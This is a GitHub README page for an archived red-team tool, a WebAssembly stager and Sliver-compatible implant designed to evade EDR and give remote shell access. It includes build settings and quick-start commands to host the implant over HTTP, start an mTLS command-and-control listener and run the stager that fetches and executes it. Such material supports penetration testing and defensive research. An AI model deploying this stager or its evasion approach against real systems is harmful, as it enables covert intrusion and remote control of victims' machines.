Skip to content
This repository was archived by the owner on Feb 4, 2026. It is now read-only.

BishopFox/sliver-wasm-stager

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

2 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

Wasm Stager

A stager and Sliver-compatible implant that leverages WebAssembly System Interface (WASI) to create a cross-platform remote access tool. The idea is to bypass EDR by hiding all the functionality within the Wasm runtime.

Architecture Overview

The toolkit consists of two main components:

  • Stager: A WASI runtime that loads and executes the implant module with full system integration
  • Implant: A Sliver-compatible Wasm module providing remote shell capabilities and system reconnaissance

Build System

The project uses Just as the primary build system for cross-platform automation. All recipes are designed to work on both Windows and Unix systems.

Building

Wasm-stager needs to be configured at build-time with a few things:

  • implant-url: HTTP URL that the stager will download the implant from
  • sliver-mtls-host: IP of a listening Sliver mTLS server that the implant will connect back to
  • sliver-mtls-port: Port of a listening Sliver mTLS server that the implant will connect back to

You can specify these by setting them in just like this:

just --set implant-url "http://127.0.0.1:8887/implant.cwasm"

Certs for mTLS connection back to a sliver server. These are located in /certs/. When you build Sliver, the certificates are baked into the Sliver Implant source code. You can find them here:

~/.sliver/certs/

These certs are:

  • mtls-server-ca-cert.pem
  • mtls-implant-ca-cert.pem
  • mtls-implant-ca-key.pem

Cross Compile to Windows

sudo apt install mingw-w64

Or on Mac:

sudo brew install mingw-w64

Quick Start

# Install Just command runner
cargo install just

# Build
just

# On another machine. Or on this one in another terminal
# Host the implant over HTTP 
cd bin/release/
python3 -m http.server 8887 & 
# Run sliver server mtls listener
./sliver-server
mtls -l 9998

# Run the stager
./bin/release/stager

About

A stager and implant that executes remote Web Assembly

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors

Languages